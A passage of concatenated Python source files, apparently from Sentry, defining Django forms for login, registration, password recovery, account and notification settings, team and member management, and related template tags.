            self.fields['captcha'] = ReCaptchaField()


class AuthenticationForm(CaptchaForm):
    username = forms.CharField(
        label=_('Account'), max_length=128, widget=forms.TextInput(
            attrs={'placeholder': _('username or email'),
        }),
    )
    password = forms.CharField(
        label=_('Password'), widget=forms.PasswordInput(
            attrs={'placeholder': _('password'),
        }),
    )

    error_messages = {
        'invalid_login': _("Please enter a correct %(username)s and password. "
                           "Note that both fields may be case-sensitive."),
        'rate_limited': _("You have made too many failed authentication "
                          "attempts. Please try again later."),
        'no_cookies': _("Your Web browser doesn't appear to have cookies "
                        "enabled. Cookies are required for logging in."),
        'inactive': _("This account is inactive."),
    }

    def __init__(self, request=None, *args, **kwargs):
        """
        If request is passed in, the form will validate that cookies are
        enabled. Note that the request (a HttpRequest object) must have set a
        cookie with the key TEST_COOKIE_NAME and value TEST_COOKIE_VALUE before
        running this validation.
        """
        self.request = request
        self.user_cache = None
        super(AuthenticationForm, self).__init__(*args, **kwargs)

        # Set the label for the "username" field.
        UserModel = get_user_model()
        self.username_field = UserModel._meta.get_field(UserModel.USERNAME_FIELD)
        if not self.fields['username'].label:
            self.fields['username'].label = capfirst(self.username_field.verbose_name)

    def clean_username(self):
        value = (self.cleaned_data.get('username') or '').strip()
        if not value:
            return
        return value.lower()

    def is_rate_limited(self):
        if self._is_ip_rate_limited():
            return True
        if self._is_user_rate_limited():
            return True
        return False

    def _is_ip_rate_limited(self):
        limit = options.get('auth.ip-rate-limit')
        if not limit:
            return False

        ip_address = self.request.META['REMOTE_ADDR']
        return ratelimiter.is_limited(
            'auth:ip:{}'.format(ip_address),
            limit,
        )

    def _is_user_rate_limited(self):
        limit = options.get('auth.user-rate-limit')
        if not limit:
            return False

        username = self.cleaned_data.get('username')
        if not username:
            return False

        return ratelimiter.is_limited(
            u'auth:username:{}'.format(username),
            limit,
        )

    def clean(self):
        username = self.cleaned_data.get('username')

        if self.is_rate_limited():
            logger.info('user.auth.rate-limited', extra={
                'ip_address': self.request.META['REMOTE_ADDR'],
                'username': username,
            })
            raise forms.ValidationError(self.error_messages['rate_limited'])

        password = self.cleaned_data.get('password')

        if username and password:
            self.user_cache = authenticate(username=username,
                                           password=password)
            if self.user_cache is None:
                raise forms.ValidationError(
                    self.error_messages['invalid_login'] % {
                        'username': self.username_field.verbose_name
                    })
        self.check_for_test_cookie()
        return self.cleaned_data

    def check_for_test_cookie(self):
        if self.request and not self.request.session.test_cookie_worked():
            raise forms.ValidationError(self.error_messages['no_cookies'])

    def get_user_id(self):
        if self.user_cache:
            return self.user_cache.id
        return None

    def get_user(self):
        return self.user_cache


class RegistrationForm(CaptchaModelForm):
    username = forms.EmailField(
        label=_('Email'), max_length=128,
        widget=forms.TextInput(attrs={'placeholder': 'you@example.com'}))
    password = forms.CharField(
        widget=forms.PasswordInput(attrs={'placeholder': 'something super secret'}))

    class Meta:
        fields = ('username',)
        model = User

    def clean_username(self):
        value = (self.cleaned_data.get('username') or '').strip()
        if not value:
            return
        if User.objects.filter(username__iexact=value).exists():
            raise forms.ValidationError(_('An account is already registered with that email address.'))
        return value.lower()

    def save(self, commit=True):
        user = super(RegistrationForm, self).save(commit=False)
        user.email = user.username
        user.set_password(self.cleaned_data['password'])
        if commit:
            user.save()
        return user


class RecoverPasswordForm(CaptchaForm):
    user = forms.CharField(label=_('Username or email'))

    def clean_user(self):
        value = (self.cleaned_data.get('user') or '').strip()
        if not value:
            return
        users = find_users(value, with_valid_password=False)
        if not users:
            raise forms.ValidationError(_("We were unable to find a matching user."))

        users = [u for u in users if not u.is_managed]
        if not users:
            raise forms.ValidationError(_("The account you are trying to recover is managed and does not support password recovery."))

        if len(users) > 1:
            raise forms.ValidationError(_("Multiple accounts were found matching this email address."))
        return users[0]


class ChangePasswordRecoverForm(forms.Form):
    password = forms.CharField(widget=forms.PasswordInput())


class AccountSettingsForm(forms.Form):
    name = forms.CharField(required=True, label=_('Name'), max_length=30)
    username = forms.CharField(label=_('Username'), max_length=128)
    email = forms.EmailField(label=_('Email'))
    new_password = forms.CharField(
        label=_('New password'),
        widget=forms.PasswordInput(),
        required=False,
    )
    password = forms.CharField(
        label=_('Current password'),
        widget=forms.PasswordInput(),
        help_text='You will need to enter your current account password to make changes.',
        required=False,
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(AccountSettingsForm, self).__init__(*args, **kwargs)

        needs_password = user.has_usable_password()

        if self.user.is_managed:
            # username and password always managed, email and
            # name optionally managed
            for field in ('email', 'name', 'username'):
                if field == 'username' or field in settings.SENTRY_MANAGED_USER_FIELDS:
                    self.fields[field] = ReadOnlyTextField(label=self.fields[field].label)
                if field == 'email':
                    needs_password = False

            del self.fields['new_password']

        # don't show username field if its the same as their email address
        if self.user.email == self.user.username:
            del self.fields['username']

        if not needs_password:
            del self.fields['password']

    def is_readonly(self):
        if self.user.is_managed:
            return set(('email', 'name')) == set(settings.SENTRY_MANAGED_USER_FIELDS)
        return False

    def _clean_managed_field(self, field):
        if self.user.is_managed and (field == 'username' or
                field in settings.SENTRY_MANAGED_USER_FIELDS):
            return getattr(self.user, field)
        return self.cleaned_data[field]

    def clean_email(self):
        return self._clean_managed_field('email')

    def clean_name(self):
        return self._clean_managed_field('name')

    def clean_username(self):
        value = self._clean_managed_field('username')
        if User.objects.filter(username__iexact=value).exclude(id=self.user.id).exists():
            raise forms.ValidationError(_("That username is already in use."))
        return value

    def clean_password(self):
        value = self.cleaned_data.get('password')
        if value and not self.user.check_password(value):
            raise forms.ValidationError('The password you entered is not correct.')
        elif not value and (
            self.cleaned_data.get('email', self.user.email) != self.user.email
            or self.cleaned_data.get('new_password')
        ):
            raise forms.ValidationError('You must confirm your current password to make changes.')
        return value

    def save(self, commit=True):
        if self.cleaned_data.get('new_password'):
            self.user.set_password(self.cleaned_data['new_password'])

        self.user.name = self.cleaned_data['name']

        if self.cleaned_data['email'] != self.user.email:
            new_username = self.user.email == self.user.username
        else:
            new_username = False

        self.user.email = self.cleaned_data['email']

        if self.cleaned_data.get('username'):
            self.user.username = self.cleaned_data['username']
        elif new_username and not User.objects.filter(username__iexact=self.user.email).exists():
            self.user.username = self.user.email

        if commit:
            self.user.save()

        return self.user


class AppearanceSettingsForm(forms.Form):
    language = forms.ChoiceField(
        label=_('Language'), choices=LANGUAGES, required=False,
        widget=forms.Select(attrs={'class': 'input-xlarge'}))
    stacktrace_order = forms.ChoiceField(
        label=_('Stacktrace order'), choices=(
            ('-1', _('Default (let Sentry decide)')),
            ('1', _('Most recent call last')),
            ('2', _('Most recent call first')),
        ), help_text=_('Choose the default ordering of frames in stacktraces.'),
        required=False,
        widget=forms.Select(attrs={'class': 'input-xlarge'}))
    timezone = forms.ChoiceField(
        label=_('Time zone'), choices=TIMEZONE_CHOICES, required=False,
        widget=forms.Select(attrs={'class': 'input-xxlarge'}))
    clock_24_hours = forms.BooleanField(
        label=_('Use a 24-hour clock'),
        required=False,
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(AppearanceSettingsForm, self).__init__(*args, **kwargs)

    def save(self):
        # Save user language
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='language',
            value=self.cleaned_data['language'],
        )

        # Save stacktrace options
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='stacktrace_order',
            value=self.cleaned_data['stacktrace_order'],
        )

        # Save time zone options
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='timezone',
            value=self.cleaned_data['timezone'],
        )

        # Save clock 24 hours option
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='clock_24_hours',
            value=self.cleaned_data['clock_24_hours'],
        )

        return self.user


class NotificationReportSettingsForm(forms.Form):
    organizations = forms.ModelMultipleChoiceField(
        queryset=Organization.objects.none(),
        required=False,
        widget=forms.CheckboxSelectMultiple(),
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(NotificationReportSettingsForm, self).__init__(*args, **kwargs)

        org_queryset = Organization.objects.filter(
            status=OrganizationStatus.VISIBLE,
            member_set__user=user,
        )

        disabled_orgs = set(UserOption.objects.get_value(
            user=user,
            project=None,
            key='reports:disabled-organizations',
            default=[],
        ))

        self.fields['organizations'].queryset = org_queryset
        self.fields['organizations'].initial = [
            o.id for o in org_queryset
            if o.id not in disabled_orgs
        ]

    def save(self):
        enabled_orgs = set((
            o.id for o in self.cleaned_data.get('organizations')
        ))
        all_orgs = set(self.fields['organizations'].queryset.values_list('id', flat=True))
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='reports:disabled-organizations',
            value=list(all_orgs.difference(enabled_orgs)),
        )


class NotificationSettingsForm(forms.Form):
    alert_email = forms.EmailField(
        label=_('Email'),
        help_text=_('Designate an alternative email address to send email notifications to.'),
        required=False
    )
    subscribe_by_default = forms.BooleanField(
        label=_('Subscribe to alerts for projects by default'),
        required=False,
    )
    workflow_notifications = forms.BooleanField(
        label=_('Receive updates for all issues by default'),
        required=False,
    )

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(NotificationSettingsForm, self).__init__(*args, **kwargs)

        self.fields['alert_email'].initial = UserOption.objects.get_value(
            user=self.user,
            project=None,
            key='alert_email',
            default=user.email,
        )
        self.fields['subscribe_by_default'].initial = (
            UserOption.objects.get_value(
                user=self.user,
                project=None,
                key='subscribe_by_default',
                default='1',
            ) == '1'
        )

        self.fields['workflow_notifications'].initial = (
            UserOption.objects.get_value(
                user=self.user,
                project=None,
                key='workflow:notifications',
                default=UserOptionValue.all_conversations,
            ) == UserOptionValue.all_conversations
        )

    def get_title(self):
        return "General"

    def save(self):
        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='alert_email',
            value=self.cleaned_data['alert_email'],
        )

        UserOption.objects.set_value(
            user=self.user,
            project=None,
            key='subscribe_by_default',
            value='1' if self.cleaned_data['subscribe_by_default'] else '0',
        )

        if self.cleaned_data.get('workflow_notifications') is True:
            UserOption.objects.set_value(
                user=self.user,
                project=None,
                key='workflow:notifications',
                value=UserOptionValue.all_conversations,
            )
        else:
            UserOption.objects.set_value(
                user=self.user,
                project=None,
                key='workflow:notifications',
                value=UserOptionValue.participating_only,
            )


class ProjectEmailOptionsForm(forms.Form):
    alert = forms.BooleanField(required=False)
    workflow = forms.BooleanField(required=False)
    email = forms.EmailField(required=False, widget=forms.HiddenInput())

    def __init__(self, project, user, *args, **kwargs):
        self.project = project
        self.user = user

        super(ProjectEmailOptionsForm, self).__init__(*args, **kwargs)

        has_alerts = project.is_user_subscribed_to_mail_alerts(user)
        has_workflow = project.is_user_subscribed_to_workflow(user)

        self.fields['alert'].initial = has_alerts
        self.fields['workflow'].initial = has_workflow
        self.fields['email'].initial = UserOption.objects.get_value(
            user, project, 'mail:email', None)

    def save(self):
        UserOption.objects.set_value(
            self.user, self.project, 'mail:alert',
            int(self.cleaned_data['alert']),
        )

        UserOption.objects.set_value(
            self.user, self.project, 'workflow:notifications',
            UserOptionValue.all_conversations if self.cleaned_data['workflow'] else UserOptionValue.participating_only,
        )

        if self.cleaned_data['email']:
            UserOption.objects.set_value(
                self.user, self.project, 'mail:email',
                self.cleaned_data['email'],
            )
        else:
            UserOption.objects.unset_value(
                self.user, self.project, 'mail:email')


class TwoFactorForm(forms.Form):
    otp = forms.CharField(
        label=_('One-time password'), max_length=20, widget=forms.TextInput(
            attrs={'placeholder': _('Code from authenticator'),
                   'autofocus': True,
        }),
    )






"""
sentry.web.forms
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django import forms
from django.utils.translation import ugettext_lazy as _

from sentry.models import User, Activity
from sentry.web.forms.fields import RadioFieldRenderer, ReadOnlyTextField


class BaseUserForm(forms.ModelForm):
    email = forms.EmailField()
    name = forms.CharField(required=True, label=_('Name'))


class NewUserForm(BaseUserForm):
    send_welcome_mail = forms.BooleanField(required=False,
        help_text=_("Send this user a welcome email which will contain their generated password."))

    class Meta:
        fields = ('name', 'username', 'email')
        model = User


class ChangeUserForm(BaseUserForm):
    is_staff = forms.BooleanField(required=False, label=_('Admin'),
        help_text=_("Designates whether this user can perform administrative functions."))
    is_superuser = forms.BooleanField(required=False, label=_('Superuser'),
        help_text=_('Designates whether this user has all permissions without '
                    'explicitly assigning them.'))

    class Meta:
        fields = ('name', 'username', 'email', 'is_active', 'is_staff',
                  'is_superuser')
        model = User

    def __init__(self, *args, **kwargs):
        super(ChangeUserForm, self).__init__(*args, **kwargs)
        self.user = kwargs['instance']
        if self.user.is_managed:
            self.fields['username'] = ReadOnlyTextField(label="Username (managed)")

    def clean_username(self):
        if self.user.is_managed:
            return self.user.username
        return self.cleaned_data['username']


class RemoveUserForm(forms.Form):
    removal_type = forms.ChoiceField(choices=(
        ('1', _('Disable the account.')),
        ('2', _('Permanently remove the user and their data.')),
    ), widget=forms.RadioSelect(renderer=RadioFieldRenderer))


class TestEmailForm(forms.Form):
    pass


class NewNoteForm(forms.Form):
    text = forms.CharField(widget=forms.Textarea(attrs={'rows': '1', 'placeholder': 'Type a note and press enter...'}))

    def save(self, group, user, event=None):
        activity = Activity.objects.create(
            group=group, project=group.project,
            type=Activity.NOTE, user=user,
            data=self.cleaned_data
        )
        activity.send_notification()

        return activity






"""
sentry.web.forms.fields
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import ipaddress
import six

from django.core.validators import URLValidator
from django.forms.widgets import RadioFieldRenderer, TextInput, Widget
from django.forms.util import flatatt
from django.forms import (
    Field, CharField, IntegerField, Textarea, TypedChoiceField, ValidationError
)
from django.utils.encoding import force_text
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _

from sentry.models import User
from sentry.utils.http import parse_uri_match


class CustomTypedChoiceField(TypedChoiceField):
    # A patched version of TypedChoiceField which correctly validates a 0
    # as a real input that may be invalid
    # See https://github.com/django/django/pull/3774
    def validate(self, value):
        """
        Validates that the input is in self.choices.
        """
        super(CustomTypedChoiceField, self).validate(value)
        # this will validate itself twice due to the internal ChoiceField
        # validation
        if value is not None and not self.valid_value(value):
            raise ValidationError(
                self.error_messages['invalid_choice'],
                code='invalid_choice',
                params={'value': value},
            )


class RangeInput(TextInput):
    input_type = 'range'


class RadioFieldRenderer(RadioFieldRenderer):
    """
    This is identical to Django's builtin widget, except that
    it renders as a Bootstrap2 compatible widget. Would be great if
    we didn't have to create this stupid code, but Django widgets are not
    flexible.
    """
    def render(self):
        return mark_safe(u'\n<div class="inputs-list">%s</div>\n' % u'\n'.join([force_text(w) for w in self]))


class UserField(CharField):
    class widget(TextInput):
        def render(self, name, value, attrs=None):
            if not attrs:
                attrs = {}
            if 'placeholder' not in attrs:
                attrs['placeholder'] = 'username'
            if isinstance(value, six.integer_types):
                value = User.objects.get(id=value).username
            return super(UserField.widget, self).render(name, value, attrs)

    def clean(self, value):
        value = super(UserField, self).clean(value)
        if not value:
            return None
        try:
            return User.objects.get(
                username=value,
                is_active=True,
            )
        except User.DoesNotExist:
            raise ValidationError(_('Invalid username'))


class RangeField(IntegerField):
    widget = RangeInput

    def __init__(self, *args, **kwargs):
        self.step_value = kwargs.pop('step_value', None)
        super(RangeField, self).__init__(*args, **kwargs)

    def widget_attrs(self, widget):
        attrs = super(RangeField, self).widget_attrs(widget)
        attrs.setdefault('min', self.min_value)
        attrs.setdefault('max', self.max_value)
        attrs.setdefault('step', self.step_value or 1)
        return attrs


class ReadOnlyTextWidget(Widget):
    def render(self, name, value, attrs):
        final_attrs = self.build_attrs(attrs)
        if not value:
            value = mark_safe("<em>%s</em>" % _("Not set"))
        return format_html("<div{0}>{1}</div>", flatatt(final_attrs), value)


class ReadOnlyTextField(Field):
    widget = ReadOnlyTextWidget

    def __init__(self, *args, **kwargs):
        kwargs.setdefault("required", False)
        super(ReadOnlyTextField, self).__init__(*args, **kwargs)

    def bound_data(self, data, initial):
        # Always return initial because the widget doesn't
        # render an input field.
        return initial


class OriginsField(CharField):
    # Special case origins that don't fit the normal regex pattern, but are valid
    WHITELIST_ORIGINS = ('*')

    _url_validator = URLValidator()
    widget = Textarea(
        attrs={
            'placeholder': mark_safe(_('e.g. example.com or https://example.com')),
            'class': 'span8',
        },
    )

    def clean(self, value):
        if not value:
            return []
        values = [v for v in (v.strip() for v in value.split('\n')) if v]
        for value in values:
            if not self.is_valid_origin(value):
                raise ValidationError('%r is not an acceptable value' % value)
        return values

    def is_valid_origin(self, value):
        if value in self.WHITELIST_ORIGINS:
            return True

        bits = parse_uri_match(value)
        # ports are not supported on matching expressions (yet)
        if ':' in bits.domain:
            return False

        return True


class IPNetworksField(CharField):
    widget = Textarea(
        attrs={
            'placeholder': mark_safe(_('e.g. 127.0.0.1 or 10.0.0.0/8')),
            'class': 'span8',
        },
    )

    def clean(self, value):
        if not value:
            return None
        value = value.strip()
        if not value:
            return None
        values = [v for v in (v.strip() for v in value.split('\n')) if v]
        for value in values:
            try:
                ipaddress.ip_network(six.text_type(value))
            except ValueError:
                raise ValidationError('%r is not an acceptable value' % value)
        return values






from __future__ import absolute_import

from django import forms
from django.db import transaction, IntegrityError

from sentry.models import (
    AuditLogEntry,
    AuditLogEntryEvent,
    OrganizationMember,
)
from sentry.signals import member_invited


class InviteOrganizationMemberForm(forms.ModelForm):
    # override this to ensure the field is required
    email = forms.EmailField()

    class Meta:
        fields = ('email',)
        model = OrganizationMember

    def save(self, actor, organization, ip_address):
        om = super(InviteOrganizationMemberForm, self).save(commit=False)
        om.organization = organization
        om.token = om.generate_token()

        try:
            existing = OrganizationMember.objects.filter(
                organization=organization,
                user__email__iexact=om.email,
                user__is_active=True,
            )[0]
        except IndexError:
            pass
        else:
            return existing, False

        sid = transaction.savepoint(using='default')
        try:
            om.save()

        except IntegrityError:
            transaction.savepoint_rollback(sid, using='default')
            return OrganizationMember.objects.get(
                email__iexact=om.email,
                organization=organization,
            ), False
        transaction.savepoint_commit(sid, using='default')

        AuditLogEntry.objects.create(
            organization=organization,
            actor=actor,
            ip_address=ip_address,
            target_object=om.id,
            event=AuditLogEntryEvent.MEMBER_INVITE,
            data=om.get_audit_log_data(),
        )
        member_invited.send(member=om, user=actor, sender=InviteOrganizationMemberForm)
        om.send_invite_email()

        return om, True






from __future__ import absolute_import

from django import forms
from django.utils.translation import ugettext_lazy as _

from sentry.models import AuditLogEntry, AuditLogEntryEvent, Project
from sentry.signals import project_created
from sentry.utils.samples import create_sample_event


BLANK_CHOICE = [("", "")]


class AddProjectForm(forms.ModelForm):
    name = forms.CharField(label=_('Name'), max_length=64,
        widget=forms.TextInput(attrs={
            'placeholder': _('i.e. API, Frontend, My Application Name'),
        }),
        help_text=_('Using the repository name generally works well.'),
    )

    class Meta:
        fields = ('name',)
        model = Project

    def __init__(self, organization, *args, **kwargs):
        forms.ModelForm.__init__(self, *args, **kwargs)
        self.organization = organization

    def save(self, actor, team, ip_address):
        project = super(AddProjectForm, self).save(commit=False)
        project.team = team
        project.organization = team.organization
        project.save()

        AuditLogEntry.objects.create(
            organization=project.organization,
            actor=actor,
            ip_address=ip_address,
            target_object=project.id,
            event=AuditLogEntryEvent.PROJECT_ADD,
            data=project.get_audit_log_data(),
        )

        project_created.send(project=project, user=actor, sender=self)

        create_sample_event(project, platform='javascript')

        return project






from __future__ import absolute_import

from django import forms

from sentry.models import (
    AuditLogEntry, AuditLogEntryEvent, OrganizationMember,
    OrganizationMemberTeam, Team
)


class EditOrganizationMemberForm(forms.ModelForm):
    teams = forms.ModelMultipleChoiceField(
        queryset=Team.objects.none(),
        widget=forms.CheckboxSelectMultiple(),
        required=False,
    )
    role = forms.ChoiceField()

    class Meta:
        fields = ('role',)
        model = OrganizationMember

    def __init__(self, *args, **kwargs):
        allowed_roles = kwargs.pop('allowed_roles')

        super(EditOrganizationMemberForm, self).__init__(*args, **kwargs)

        self.fields['role'].choices = (
            (r.id, r.name)
            for r in allowed_roles
        )
        self.fields['teams'].queryset = Team.objects.filter(
            organization=self.instance.organization,
        )

    def save(self, actor, organization, ip_address=None):
        om = super(EditOrganizationMemberForm, self).save()

        for team in self.cleaned_data['teams']:
            OrganizationMemberTeam.objects.create_or_update(
                team=team,
                organizationmember=om,
            )

        OrganizationMemberTeam.objects.filter(
            organizationmember=om,
        ).exclude(team__in=self.cleaned_data['teams']).delete()

        AuditLogEntry.objects.create(
            organization=organization,
            actor=actor,
            ip_address=ip_address,
            target_object=om.id,
            target_user=om.user,
            event=AuditLogEntryEvent.MEMBER_EDIT,
            data=om.get_audit_log_data(),
        )

        return om






from __future__ import absolute_import

from django import forms
from django.utils.translation import ugettext_lazy as _

from sentry.models import (
    AuditLogEntry, AuditLogEntryEvent, OrganizationMember,
    OrganizationMemberTeam, Team
)


class AddTeamForm(forms.ModelForm):
    name = forms.CharField(label=_('Name'), max_length=200,
        widget=forms.TextInput(attrs={
            'placeholder': _('E.g. Operations, Web, Desktop, ...'),
            'required': '',
        }),
        help_text='The team name has no significant impact and can be changed later.',
    )

    class Meta:
        fields = ('name',)
        model = Team

    def save(self, actor, organization, ip_address):
        team = super(AddTeamForm, self).save(commit=False)
        team.organization = organization
        team.save()

        try:
            member = OrganizationMember.objects.get(
                user=actor,
                organization=organization,
            )
        except OrganizationMember.DoesNotExist:
            pass
        else:
            OrganizationMemberTeam.objects.create(
                team=team,
                organizationmember=member,
                is_active=True,
            )

        AuditLogEntry.objects.create(
            organization=organization,
            actor=actor,
            ip_address=ip_address,
            target_object=team.id,
            event=AuditLogEntryEvent.TEAM_ADD,
            data=team.get_audit_log_data(),
        )

        return team






"""
sentry.templatetags.sentry_admin_helpers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import datetime

from django import template
from django.utils import timezone

register = template.Library()


@register.filter
def with_event_counts(project_list):
    from sentry.app import tsdb

    end = timezone.now()
    start = end - datetime.timedelta(days=1)

    tsdb_results = tsdb.get_range(
        model=tsdb.models.project,
        keys=[p.id for p in project_list],
        start=start,
        end=end,
    )

    for project in project_list:
        yield project, sum(t[1] for t in tsdb_results[project.id])






from __future__ import absolute_import

from django import template

from sentry import features

register = template.Library()


@register.tag
def feature(parser, token):
    bits = token.split_contents()
    if len(bits) < 2:
        raise template.TemplateSyntaxError("%r tag requires an argument" % token.contents.split()[0])

    name = bits[1]
    params = bits[2:]

    nodelist_true = parser.parse(('else', 'endfeature'))
    token = parser.next_token()

    if token.contents == 'else':
        nodelist_false = parser.parse(('endfeature',))
        parser.delete_first_token()
    else:
        nodelist_false = template.NodeList()

    return FeatureNode(nodelist_true, nodelist_false, name, params)


class FeatureNode(template.Node):
    def __init__(self, nodelist_true, nodelist_false, name, params):
        self.nodelist_true = nodelist_true
        self.nodelist_false = nodelist_false
        self.name = name
        self.params = [template.Variable(i) for i in params]

    def render(self, context):
        params = [i.resolve(context) for i in self.params]
        if 'request' in context:
            user = context['request'].user
        else:
            user = None

        if not features.has(self.name, actor=user, *params):
            return self.nodelist_false.render(context)

        return self.nodelist_true.render(context)






from __future__ import absolute_import

from django import template
from django.http import HttpRequest

from sentry.api.serializers.base import serialize as serialize_func
from sentry.api.serializers.models.organization import (
    DetailedOrganizationSerializer
)
from sentry.utils import json


register = template.Library()


@register.simple_tag(takes_context=True)
def serialize(context, obj):
    if 'request' in context:
        user = context['request'].user
    else:
        user = None

    return convert_to_json(serialize_func(obj, user))


@register.simple_tag
def convert_to_json(obj):
    return json.dumps_htmlsafe(obj)


@register.simple_tag(takes_context=True)
def serialize_detailed_org(context, obj):
    if 'request' in context:
        user = context['request'].user
    else:
        user = None

    context = serialize_func(
        obj,
        user,
        DetailedOrganizationSerializer(),
    )

    return convert_to_json(context)


@register.simple_tag
def get_user_context(request, escape=False):
    if isinstance(request, HttpRequest):
        user = getattr(request, 'user', None)
        result = {'ip_address': request.META['REMOTE_ADDR']}
        if user and user.is_authenticated():
            result.update({
                'email': user.email,
                'id': user.id,
            })
            if user.name:
                result['name'] = user.name
    else:
        result = {}
    return convert_to_json(result)






from __future__ import absolute_import

import logging
import sentry

from django import template
from django.conf import settings
from django.contrib.messages import get_messages
from pkg_resources import parse_version

from sentry import features, options
from sentry.api.serializers.base import serialize
from sentry.models import ProjectKey
from sentry.utils import json
from sentry.utils.email import is_smtp_enabled
from sentry.utils.assets import get_asset_url
from sentry.utils.functional import extract_lazy_object

register = template.Library()


def _get_version_info():
    current = sentry.VERSION

    latest = options.get('sentry:latest_version') or current
    upgrade_available = parse_version(latest) > parse_version(current)
    build = sentry.__build__ or current

    return {
        'current': current,
        'latest': latest,
        'build': build,
        'upgradeAvailable': upgrade_available,
    }


def _needs_upgrade():
    version_configured = options.get('sentry:version-configured')
    if not version_configured:
        # If we were never previously upgraded (being a new install)
        # we want to force an upgrade, even if the values are set.
        return True

    smtp_disabled = not is_smtp_enabled()

    # Check all required options to see if they've been set
    for key in options.filter(flag=options.FLAG_REQUIRED):
        # Ignore mail.* keys if smtp is disabled
        if smtp_disabled and key.name[:5] == 'mail.':
            continue
        if not options.isset(key.name):
            return True

    if version_configured != sentry.get_version():
        # Everything looks good, but version changed, so let's bump it
        options.set('sentry:version-configured', sentry.get_version())

    return False


def _get_public_dsn():
    try:
        projectkey = ProjectKey.objects.filter(
            project=settings.SENTRY_FRONTEND_PROJECT or settings.SENTRY_PROJECT,
        )[0]
    except Exception:
        logging.exception('Unable to fetch ProjectKey for internal project')
        return
    return projectkey.dsn_public


def _get_statuspage():
    id = settings.STATUS_PAGE_ID
    if id is None:
        return None
    return {
        'id': id,
        'api_host': settings.STATUS_PAGE_API_HOST
    }


@register.simple_tag(takes_context=True)
def get_react_config(context):
    if 'request' in context:
        user = context['request'].user
        messages = get_messages(context['request'])
        try:
            is_superuser = context['request'].is_superuser()
        except AttributeError:
            is_superuser = False
    else:
        user = None
        messages = []
        is_superuser = False

    if user:
        user = extract_lazy_object(user)

    enabled_features = []
    if features.has('organizations:create', actor=user):
        enabled_features.append('organizations:create')
    if features.has('auth:register', actor=user):
        enabled_features.append('auth:register')

    version_info = _get_version_info()

    needs_upgrade = False

    if is_superuser:
        needs_upgrade = _needs_upgrade()

    context = {
        'singleOrganization': settings.SENTRY_SINGLE_ORGANIZATION,
        'urlPrefix': options.get('system.url-prefix'),
        'version': version_info,
        'features': enabled_features,
        'mediaUrl': get_asset_url('sentry', ''),
        'needsUpgrade': needs_upgrade,
        'dsn': _get_public_dsn(),
        'statuspage': _get_statuspage(),
        'messages': [{
            'message': msg.message,
            'level': msg.tags,
        } for msg in messages],
        'isOnPremise': settings.SENTRY_ONPREMISE,
    }
    if user and user.is_authenticated():
        context.update({
            'isAuthenticated': True,
            'user': serialize(user, user),
        })
        context['user']['isSuperuser'] = is_superuser
    else:
        context.update({
            'isAuthenticated': False,
            'user': None,
        })
    return json.dumps_htmlsafe(context)






from __future__ import absolute_import

from django import template
from django.conf import settings

from sentry.cache import default_cache
from sentry.models import ProjectKey


register = template.Library()


def _get_project_key(project_id):
    try:
        return ProjectKey.objects.filter(
            project=project_id,
            roles=ProjectKey.roles.store,
        )[0]
    except IndexError:
        return None


@register.simple_tag
def public_dsn():
    project_id = settings.SENTRY_FRONTEND_PROJECT or settings.SENTRY_PROJECT
    cache_key = 'dsn:%s' % (project_id,)

    result = default_cache.get(cache_key)
    if result is None:
        key = _get_project_key(project_id)
        if key:
            result = key.dsn_public
        else:
            result = ''
        default_cache.set(cache_key, result, 60)
    return result






"""
sentry.templatetags.sentry_plugins
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django import template

from sentry.plugins import Annotation, plugins
from sentry.utils.safe import safe_execute

register = template.Library()


@register.filter
def get_actions(group, request):
    project = group.project

    action_list = []
    for plugin in plugins.for_project(project, version=1):
        results = safe_execute(plugin.actions, request, group, action_list,
                               _with_transaction=False)

        if not results:
            continue

        action_list = results

    for plugin in plugins.for_project(project, version=2):
        for action in (safe_execute(plugin.get_actions, request, group,
                                    _with_transaction=False) or ()):
            action_list.append(action)

    return [(a[0], a[1], request.path == a[1]) for a in action_list]


@register.filter
def get_panels(group, request):
    project = group.project

    panel_list = []
    for plugin in plugins.for_project(project):
        results = safe_execute(plugin.panels, request, group, panel_list,
                               _with_transaction=False)

        if not results:
            continue

        panel_list = results

    return [(p[0], p[1], request.path == p[1]) for p in panel_list]


@register.filter
def get_widgets(group, request):
    project = group.project

    for plugin in plugins.for_project(project):
        resp = safe_execute(plugin.widget, request, group,
                            _with_transaction=False)

        if resp:
            yield resp.render(request)


@register.filter
def get_legacy_annotations(group, request=None):
    project = group.project

    annotation_list = []
    for plugin in plugins.for_project(project, version=1):
        results = safe_execute(plugin.tags, request, group, annotation_list,
                               _with_transaction=False)

        if not results:
            continue

        annotation_list = results

    return annotation_list


@register.filter
def get_annotations(group, request=None):
    project = group.project

    annotation_list = []
    for plugin in plugins.for_project(project, version=2):
        for value in (safe_execute(plugin.get_annotations, group=group, _with_transaction=False) or ()):
            annotation = safe_execute(Annotation, _with_transaction=False, **value)
            if annotation:
                annotation_list.append(annotation)

    return annotation_list


@register.simple_tag
def handle_before_events(request, event_list):
    if not event_list:
        return ''

    if not hasattr(event_list, '__iter__'):
        project = event_list.project
        event_list = [event_list]
    else:
        projects = set(e.project for e in event_list)
        if len(projects) == 1:
            project = projects.pop()
        else:
            project = None

    for plugin in plugins.for_project(project):
        safe_execute(plugin.before_events, request, event_list)
